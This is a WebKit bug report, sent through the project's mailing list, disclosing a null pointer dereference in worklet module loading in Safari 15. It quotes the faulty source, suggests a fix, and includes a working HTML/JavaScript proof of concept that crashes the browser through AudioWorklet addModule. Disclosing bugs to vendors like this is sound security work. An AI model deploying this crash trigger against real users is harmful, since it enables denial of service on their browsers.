[Webkit-unassigned] [Bug 232796] New: Null Pointer Dereference When Worklet Load Module
bugzilla-daemon at webkit.org
bugzilla-daemon at webkit.org
Sat Nov 6 23:40:04 PDT 2021
https://bugs.webkit.org/show_bug.cgi?id=232796
Bug ID: 232796
Summary: Null Pointer Dereference When Worklet Load Module
Product: WebKit
Version: Safari 15
Hardware: Mac (Intel)
OS: macOS 11
Status: NEW
Severity: Major
Priority: P2
Component: New Bugs
Assignee: webkit-unassigned at lists.webkit.org
Reporter: kirin.say at gmail.com
Created attachment 443501
--> https://bugs.webkit.org/attachment.cgi?id=443501&action=review
The crash log of the poc.
## VERSION
WebKit: Latest Release Version
Safari: 15.2 (BigSur) / 15.1 (Catalina)
## VULNERABILITY DETAILS
```
void WorkerOrWorkletScriptController::loadAndEvaluateModule(const URL& moduleURL, FetchOptions::Credentials credentials, CompletionHandler<void(std::optional<Exception>&&)>&& completionHandler)
{
......
......
auto& globalObject = *m_globalScopeWrapper.get();
VM& vm = globalObject.vm();
JSLockHolder lock { vm };
auto scriptFetcher = WorkerScriptFetcher::create(credentials, globalScope()->destination(), globalScope()->referrerPolicy());
{ // 1
auto& promise = JSExecState::loadModule(globalObject, moduleURL.string(), JSC::JSScriptFetchParameters::create(vm, scriptFetcher->parameters()), JSC::JSScriptFetcher::create(vm, { scriptFetcher.ptr() }));
auto task = createSharedTask<void(std::optional<Exception>&&)>([completionHandler = WTFMove(completionHandler)](std::optional<Exception>&& exception) mutable {
completionHandler(WTFMove(exception));
});
auto& fulfillHandler = *JSNativeStdFunction::create(vm, &globalObject, 1, String(), [task, scriptFetcher](JSGlobalObject* globalObject, CallFrame* callFrame) -> JSC::EncodedJSValue {
......
});
auto& rejectHandler = *JSNativeStdFunction::create(vm, &globalObject, 1, String(), [task](JSGlobalObject* globalObject, CallFrame* callFrame) {
......
});
// 2
promise.then(&globalObject, &fulfillHandler, &rejectHandler);
}
m_globalScope->eventLoop().performMicrotaskCheckpoint();
}
```
When a Worklet loads a module by API `addModule` , the webkit will call function WorkerOrWorkletScriptController::loadAndEvaluateModule to load it:
- loadAndEvaluateModule will call JSExecState::loadModule to get a promise(1).
- The promise will call its then() function later(2).
But loadAndEvaluateModule didn't check the return value of JSExecState::loadModule:
```
// JSExecState::loadModule will call JSModuleLoader::loadModule internally
JSInternalPromise* JSModuleLoader::loadModule(JSGlobalObject* globalObject, JSValue moduleName, JSValue parameters, JSValue scriptFetcher)
{
VM& vm = globalObject->vm();
auto scope = DECLARE_THROW_SCOPE(vm);
JSObject* function = getAs<JSObject*>(globalObject, vm.propertyNames->builtinNames().loadModulePublicName());
// 3
RETURN_IF_EXCEPTION(scope, nullptr);
auto callData = JSC::getCallData(vm, function);
ASSERT(callData.type != CallData::Type::None);
MarkedArgumentBuffer arguments;
arguments.append(moduleName);
arguments.append(parameters);
arguments.append(scriptFetcher);
ASSERT(!arguments.hasOverflowed());
JSValue promise = call(globalObject, function, callData, this, arguments);
RETURN_IF_EXCEPTION(scope, nullptr);
return jsCast<JSInternalPromise*>(promise);
}
```
When there is a exception occurs without handled in this Worklet, the function will return a nullptr(3). It will lead to a Null Pointer Dereference in WorkerOrWorkletScriptController::loadAndEvaluateModule(2).
To confirm this vulnerability, I use the Web Audio Module in WebKit to load a script with a exception. Then I create an instance object after addModule(the constructor will cause a exception without calling super() in function). When I call the addModule in this audioWorklet again, it will trigger the vulnerability in WorkerOrWorkletScriptController::loadAndEvaluateModule and get a crash.
## Impact
A malicious website may be able to cause a denial of service.
## Suggestion
Check the return pointer in WorkerOrWorkletScriptController::loadAndEvaluateModule.
## REPRODUCTION CASE
```
<html>
<body>Kirin</body>
<script>
var context = new OfflineAudioContext(1, 128, 300000);
context.audioWorklet.addModule(URL.createObjectURL(new Blob([`
class TestProcessor extends AudioWorkletProcessor {
constructor (options) {
//super();
}
process (inputs, outputs, parameters) {
return true
}
}
registerProcessor('test-processor', TestProcessor)
`], {type: "text/javascript"}))).then(async () => {
testNode = new AudioWorkletNode(context, 'test-processor',{} );
context.audioWorklet.addModule(URL.createObjectURL(new Blob([`
// Anything here
`], {type: "text/javascript"})));
});
</script>
</html>
```
--
You are receiving this mail because:
You are the assignee for the bug.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.webkit.org/pipermail/webkit-unassigned/attachments/20211107/477a6505/attachment.htm>
More information about the webkit-unassigned
mailing list